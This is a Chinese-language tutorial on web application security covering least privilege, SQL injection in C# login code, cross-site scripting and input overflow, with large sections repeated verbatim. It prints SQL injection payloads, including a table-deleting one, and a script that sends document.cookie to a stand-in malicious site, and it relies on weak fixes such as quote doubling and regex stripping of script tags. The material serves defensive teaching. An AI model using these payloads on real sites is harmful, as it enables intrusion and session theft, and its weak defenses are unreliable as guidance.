開發(fā)人員必須權(quán)衡好安全和功能之間的關(guān)系,這要看某種攻擊得逞的可能性有多大、這個系統(tǒng)有多重要。
開發(fā)人員可以運用諸多基本原則來增強(qiáng)Web應(yīng)用程序的安全性。主要有以下三條原則:
盡量減小權(quán)限
對訪問資源的賬戶進(jìn)行配置時,始終要把這些賬戶的權(quán)限限制在需要的最小權(quán)限。
千萬不要相信用戶的輸入,驗證任何輸入的內(nèi)容
這對Web應(yīng)用程序來說尤為重要。確保應(yīng)用程序并不依賴客戶端的驗證。在服務(wù)器上應(yīng)當(dāng)重復(fù)所有的檢查工作,因為要是沒有約束條件,比較容易構(gòu)建網(wǎng)頁副本,有可能導(dǎo)致破壞性代碼在運行,或者導(dǎo)致引起系統(tǒng)崩潰的拒絕服務(wù)(DoS)攻擊。
有節(jié)制地使用錯誤消息
雖然在開發(fā)程序時,詳細(xì)的錯誤消息很有幫助,但它們對惡意用戶來說同樣是寶貴的信息來源。所以指定函數(shù)名這類細(xì)節(jié)沒有太大的意義。這樣的細(xì)節(jié)記錄在另一個日志中比較好。
下面幾個示例介紹了沒有經(jīng)過驗證的用戶輸入如何被壞人利用的具體情況,并且介紹了避免這些問題的建議。
SQL注入
如果允許任意的SQL命令執(zhí)行,就會出現(xiàn)SQL注入(SQL injection)。當(dāng)SQL語句在代碼里面動態(tài)構(gòu)建時,通常會出現(xiàn)這種情況。
以下面用C#編寫的代碼為例,該代碼試圖檢查用戶名/密碼組合是否正確:
string username = txtUsername.Text;
string password = txtPassword.Text;
string SQL = "SELECT * FROM tblUsers
WHERE username = '"+ username +"'
AND password = '"+ password + "';";
//執(zhí)行SQL
用戶名和密碼從服務(wù)器端的兩個文本框獲取,并且SQL語句被創(chuàng)建,然后該語句執(zhí)行。如果沒有記錄返回,那么表明用戶輸入的詳細(xì)資料不正確,或者沒有經(jīng)過注冊; 否則用戶可以進(jìn)入到下一個階段。
如果用戶在兩個文本框里面輸入了Joe和mypassword,那么SQL語句會是:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = 'mypassword';
這正是開發(fā)人員的意圖。不過要是用戶往密碼文本框里面輸入: ' OR 'a' = 'a,SQL就會是:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = ''
OR 'a' = 'a';
現(xiàn)在,密碼不重要了,因為'a'='a'總是正確的。如果用來連接到數(shù)據(jù)庫的賬戶有權(quán)刪除數(shù)據(jù)而不是僅僅有權(quán)讀取數(shù)據(jù),就會出現(xiàn)更糟糕的情形。假設(shè)用戶往密碼文本框里面輸入: '; DELETE FROM tblUsers WHERE 'a' = 'a'。這會得出以下的語句:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = '';
DELETE FROM tblUsers
WHERE 'a' = 'a';
現(xiàn)在,整個用戶表就會被清空。
防止這類問題主要有兩種辦法。一是,可以使用存儲過程(stored procedure)來執(zhí)行用戶驗證步驟。設(shè)置參數(shù)值時,避免使用單引號等特殊符號,因而不可能為WHERE語句添加額外的斷言(predicate),也不會運行多個SQL語句。譬如說,可以構(gòu)建像下面這樣的存儲過程,接受兩個輸入?yún)?shù)后,返回表明用戶是不是合法用戶的第三個參數(shù):
CREATE PROCEDURE spCheckUser
(
@Username VARCHAR(20),
@Password VARCHAR(20),
@IsValid BIT OUTPUT
)
AS
DECLARE @UserCount INT
SELECT @UserCount = COUNT(*)
FROM tblUsers
WHERE Username = @Username
AND Password = @Password
IF @UserCount = 1
SET @IsValid = 1
ELSE
SET @IsValid = 0
開發(fā)人員可以運用諸多基本原則來增強(qiáng)Web應(yīng)用程序的安全性。主要有以下三條原則:
盡量減小權(quán)限
對訪問資源的賬戶進(jìn)行配置時,始終要把這些賬戶的權(quán)限限制在需要的最小權(quán)限。
千萬不要相信用戶的輸入,驗證任何輸入的內(nèi)容
這對Web應(yīng)用程序來說尤為重要。確保應(yīng)用程序并不依賴客戶端的驗證。在服務(wù)器上應(yīng)當(dāng)重復(fù)所有的檢查工作,因為要是沒有約束條件,比較容易構(gòu)建網(wǎng)頁副本,有可能導(dǎo)致破壞性代碼在運行,或者導(dǎo)致引起系統(tǒng)崩潰的拒絕服務(wù)(DoS)攻擊。
有節(jié)制地使用錯誤消息
雖然在開發(fā)程序時,詳細(xì)的錯誤消息很有幫助,但它們對惡意用戶來說同樣是寶貴的信息來源。所以指定函數(shù)名這類細(xì)節(jié)沒有太大的意義。這樣的細(xì)節(jié)記錄在另一個日志中比較好。
下面幾個示例介紹了沒有經(jīng)過驗證的用戶輸入如何被壞人利用的具體情況,并且介紹了避免這些問題的建議。
SQL注入
如果允許任意的SQL命令執(zhí)行,就會出現(xiàn)SQL注入(SQL injection)。當(dāng)SQL語句在代碼里面動態(tài)構(gòu)建時,通常會出現(xiàn)這種情況。
以下面用C#編寫的代碼為例,該代碼試圖檢查用戶名/密碼組合是否正確:
string username = txtUsername.Text;
string password = txtPassword.Text;
string SQL = "SELECT * FROM tblUsers
WHERE username = '"+ username +"'
AND password = '"+ password + "';";
//執(zhí)行SQL
用戶名和密碼從服務(wù)器端的兩個文本框獲取,并且SQL語句被創(chuàng)建,然后該語句執(zhí)行。如果沒有記錄返回,那么表明用戶輸入的詳細(xì)資料不正確,或者沒有經(jīng)過注冊; 否則用戶可以進(jìn)入到下一個階段。
如果用戶在兩個文本框里面輸入了Joe和mypassword,那么SQL語句會是:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = 'mypassword';
這正是開發(fā)人員的意圖。不過要是用戶往密碼文本框里面輸入: ' OR 'a' = 'a,SQL就會是:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = ''
OR 'a' = 'a';
現(xiàn)在,密碼不重要了,因為'a'='a'總是正確的。如果用來連接到數(shù)據(jù)庫的賬戶有權(quán)刪除數(shù)據(jù)而不是僅僅有權(quán)讀取數(shù)據(jù),就會出現(xiàn)更糟糕的情形。假設(shè)用戶往密碼文本框里面輸入: '; DELETE FROM tblUsers WHERE 'a' = 'a'。這會得出以下的語句:
SELECT * FROM tblUsers
WHERE username = 'Joe'
AND password = '';
DELETE FROM tblUsers
WHERE 'a' = 'a';
現(xiàn)在,整個用戶表就會被清空。
防止這類問題主要有兩種辦法。一是,可以使用存儲過程(stored procedure)來執(zhí)行用戶驗證步驟。設(shè)置參數(shù)值時,避免使用單引號等特殊符號,因而不可能為WHERE語句添加額外的斷言(predicate),也不會運行多個SQL語句。譬如說,可以構(gòu)建像下面這樣的存儲過程,接受兩個輸入?yún)?shù)后,返回表明用戶是不是合法用戶的第三個參數(shù):
CREATE PROCEDURE spCheckUser
(
@Username VARCHAR(20),
@Password VARCHAR(20),
@IsValid BIT OUTPUT
)
AS
DECLARE @UserCount INT
SELECT @UserCount = COUNT(*)
FROM tblUsers
WHERE Username = @Username
AND Password = @Password
IF @UserCount = 1
SET @IsValid = 1
ELSE
SET @IsValid = 0
現(xiàn)在,初始代碼經(jīng)改動后可以使用存儲過程:
SqlCommand sqlCommand =
new SqlCommand("spCheckUser");
SqlParameter sqlParam =
new SqlParameter("@Username",
SqlDbType.VarChar, 20)
sqlParam.Value = txtUsername.Text;
sqlParam.Direction =
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam =
new SqlParameter("@Password",
SqlDbType.VarChar, 20)
sqlParam.Value = txtPassword.Text;
sqlParam.Direction =
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam =
new SqlParameter("@IsValid",
SqlDbType.Bit, 1)
sqlParam.Direction =
ParameterDirection.Output;
sqlCommand.Parameters.Add(sqlParam);
//執(zhí)行命令,并檢索輸出參數(shù)值
輸入和輸出參數(shù)使用相關(guān)類型來說明。如今區(qū)別在于,基本的ADO.NET類會把字符串' OR 'a' = 'a當(dāng)成實際用戶的密碼來處理,而不是當(dāng)成可執(zhí)行SQL來處理。
避免這種安全漏洞的第二種辦法(也適用于所有的用戶輸入)就是,確保特殊字符或者字符串被禁用。對SQL而言,導(dǎo)致問題的那個字符就是單引號,所以如果沒法使用存儲過程,那么就把所有單引號變成雙引號,這可以防止有人構(gòu)建額外的SQL:
string username = txtUsername.Text;
string password = txtPassword.Text;
username = username.Replace("'","''");
password = password.Replace("'","''");
string SQL = "SELECT *
FROM tblUsers
WHERE username = '"+ username +"'
AND password = '"+ password +"';";
//執(zhí)行SQL
現(xiàn)在,構(gòu)建的SQL成為:
SELECT *
FROM tblUsers
WHERE username = 'Joe'
AND password = '''
OR ''a'' = ''a';
這意味著該用戶沒有被識別。
SqlCommand sqlCommand =
new SqlCommand("spCheckUser");
SqlParameter sqlParam =
new SqlParameter("@Username",
SqlDbType.VarChar, 20)
sqlParam.Value = txtUsername.Text;
sqlParam.Direction =
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam =
new SqlParameter("@Password",
SqlDbType.VarChar, 20)
sqlParam.Value = txtPassword.Text;
sqlParam.Direction =
ParameterDirection.Input;
sqlCommand.Parameters.Add(sqlParam);
sqlParam =
new SqlParameter("@IsValid",
SqlDbType.Bit, 1)
sqlParam.Direction =
ParameterDirection.Output;
sqlCommand.Parameters.Add(sqlParam);
//執(zhí)行命令,并檢索輸出參數(shù)值
輸入和輸出參數(shù)使用相關(guān)類型來說明。如今區(qū)別在于,基本的ADO.NET類會把字符串' OR 'a' = 'a當(dāng)成實際用戶的密碼來處理,而不是當(dāng)成可執(zhí)行SQL來處理。
避免這種安全漏洞的第二種辦法(也適用于所有的用戶輸入)就是,確保特殊字符或者字符串被禁用。對SQL而言,導(dǎo)致問題的那個字符就是單引號,所以如果沒法使用存儲過程,那么就把所有單引號變成雙引號,這可以防止有人構(gòu)建額外的SQL:
string username = txtUsername.Text;
string password = txtPassword.Text;
username = username.Replace("'","''");
password = password.Replace("'","''");
string SQL = "SELECT *
FROM tblUsers
WHERE username = '"+ username +"'
AND password = '"+ password +"';";
//執(zhí)行SQL
現(xiàn)在,構(gòu)建的SQL成為:
SELECT *
FROM tblUsers
WHERE username = 'Joe'
AND password = '''
OR ''a'' = ''a';
這意味著該用戶沒有被識別。
跨站腳本
跨站腳本(有時縮寫成XSS)允許來自一個地方的代碼在另一個網(wǎng)站里面運行。正如在大多數(shù)情況下一樣,只要驗證用戶輸入的內(nèi)容就可以避免這問題。以接受HTML格式的帖子的公告牌為例。假定用戶在發(fā)布消息中加入了以下內(nèi)容:
Hello everyone
?。約cript>
alert("Hi!");
</script>
要是不對腳本塊進(jìn)行任何驗證及刪除,這條消息就會出現(xiàn),標(biāo)準(zhǔn)的警告信息也會顯示。假定這個示例沒有惡意,再考慮下一個示例:
var I = new Image();
i.src =
"http://www.maliciousSite.com/save.asp"
+ escape(document.cookie);
現(xiàn)在,該用戶的cookie會被傳送到惡意網(wǎng)站,然后記錄在網(wǎng)絡(luò)日志里面。這不是原先需要的操作,可能會泄露私人信息,或者讓不懷好意的人以合法用戶的身份登錄到公告牌??梢酝ㄟ^采用正則表達(dá)式來搜索及清除像< script>及其內(nèi)容這些元素的辦法來防止這個問題。
數(shù)據(jù)溢出
數(shù)據(jù)過多可能會帶來問題,這有兩個原因。一是,因為應(yīng)用程序往往會崩潰,譬如說,如果程序試圖把50個字符寫入到列大小只有40個字符的數(shù)據(jù)庫表,就會引起程序崩潰。顯然,良好的錯誤捕獲方法應(yīng)當(dāng)可以防止這一問題,但如果用戶輸入的是有效內(nèi)容,而且來自可信用戶,那么這個問題往往不會發(fā)生。數(shù)據(jù)過多輕則帶來差勁的用戶體驗,重則導(dǎo)致嚴(yán)重消耗服務(wù)器資源,要是問題頻頻發(fā)生,還會導(dǎo)致整個服務(wù)無法使用。如果輸入內(nèi)容專門旨在導(dǎo)致錯誤、機(jī)器過載,這就叫拒絕服務(wù)(DoS)攻擊。
第二個問題是緩沖器溢出。有時候,輸入的數(shù)據(jù)會溢出旨在存放它的內(nèi)存區(qū),而成為可執(zhí)行代碼的一部分。只要對輸入到輸入框中的數(shù)據(jù)進(jìn)行精心設(shè)計,攻擊者就可以在服務(wù)器上執(zhí)行任意代碼。
為了避免該問題,不要依靠客戶端技術(shù),譬如設(shè)置文本框的最大長度屬性。這很容易被跳過。有些瀏覽器(包括IE在內(nèi))允許javascript URL。如果網(wǎng)頁的文本框有一個標(biāo)為txtSurname的id,那么下列代碼拷貝到瀏覽器的地址欄上后,就會改變最大長度屬性:
javascript:document.getElementById
("txtSurname").maxLength = 1000
防止這個問題的方法仍然是在服務(wù)器上進(jìn)行檢查,看看輸入內(nèi)容是否超過所需長度; 必要的話縮減輸入內(nèi)容。(作者單位系河南省鎮(zhèn)平縣教師進(jìn)修學(xué)校)
跨站腳本(有時縮寫成XSS)允許來自一個地方的代碼在另一個網(wǎng)站里面運行。正如在大多數(shù)情況下一樣,只要驗證用戶輸入的內(nèi)容就可以避免這問題。以接受HTML格式的帖子的公告牌為例。假定用戶在發(fā)布消息中加入了以下內(nèi)容:
Hello everyone
?。約cript>
alert("Hi!");
</script>
要是不對腳本塊進(jìn)行任何驗證及刪除,這條消息就會出現(xiàn),標(biāo)準(zhǔn)的警告信息也會顯示。假定這個示例沒有惡意,再考慮下一個示例:
var I = new Image();
i.src =
"http://www.maliciousSite.com/save.asp"
+ escape(document.cookie);
現(xiàn)在,該用戶的cookie會被傳送到惡意網(wǎng)站,然后記錄在網(wǎng)絡(luò)日志里面。這不是原先需要的操作,可能會泄露私人信息,或者讓不懷好意的人以合法用戶的身份登錄到公告牌??梢酝ㄟ^采用正則表達(dá)式來搜索及清除像< script>及其內(nèi)容這些元素的辦法來防止這個問題。
數(shù)據(jù)溢出
數(shù)據(jù)過多可能會帶來問題,這有兩個原因。一是,因為應(yīng)用程序往往會崩潰,譬如說,如果程序試圖把50個字符寫入到列大小只有40個字符的數(shù)據(jù)庫表,就會引起程序崩潰。顯然,良好的錯誤捕獲方法應(yīng)當(dāng)可以防止這一問題,但如果用戶輸入的是有效內(nèi)容,而且來自可信用戶,那么這個問題往往不會發(fā)生。數(shù)據(jù)過多輕則帶來差勁的用戶體驗,重則導(dǎo)致嚴(yán)重消耗服務(wù)器資源,要是問題頻頻發(fā)生,還會導(dǎo)致整個服務(wù)無法使用。如果輸入內(nèi)容專門旨在導(dǎo)致錯誤、機(jī)器過載,這就叫拒絕服務(wù)(DoS)攻擊。
第二個問題是緩沖器溢出。有時候,輸入的數(shù)據(jù)會溢出旨在存放它的內(nèi)存區(qū),而成為可執(zhí)行代碼的一部分。只要對輸入到輸入框中的數(shù)據(jù)進(jìn)行精心設(shè)計,攻擊者就可以在服務(wù)器上執(zhí)行任意代碼。
為了避免該問題,不要依靠客戶端技術(shù),譬如設(shè)置文本框的最大長度屬性。這很容易被跳過。有些瀏覽器(包括IE在內(nèi))允許javascript URL。如果網(wǎng)頁的文本框有一個標(biāo)為txtSurname的id,那么下列代碼拷貝到瀏覽器的地址欄上后,就會改變最大長度屬性:
javascript:document.getElementById
("txtSurname").maxLength = 1000
防止這個問題的方法仍然是在服務(wù)器上進(jìn)行檢查,看看輸入內(nèi)容是否超過所需長度; 必要的話縮減輸入內(nèi)容。(作者單位系河南省鎮(zhèn)平縣教師進(jìn)修學(xué)校)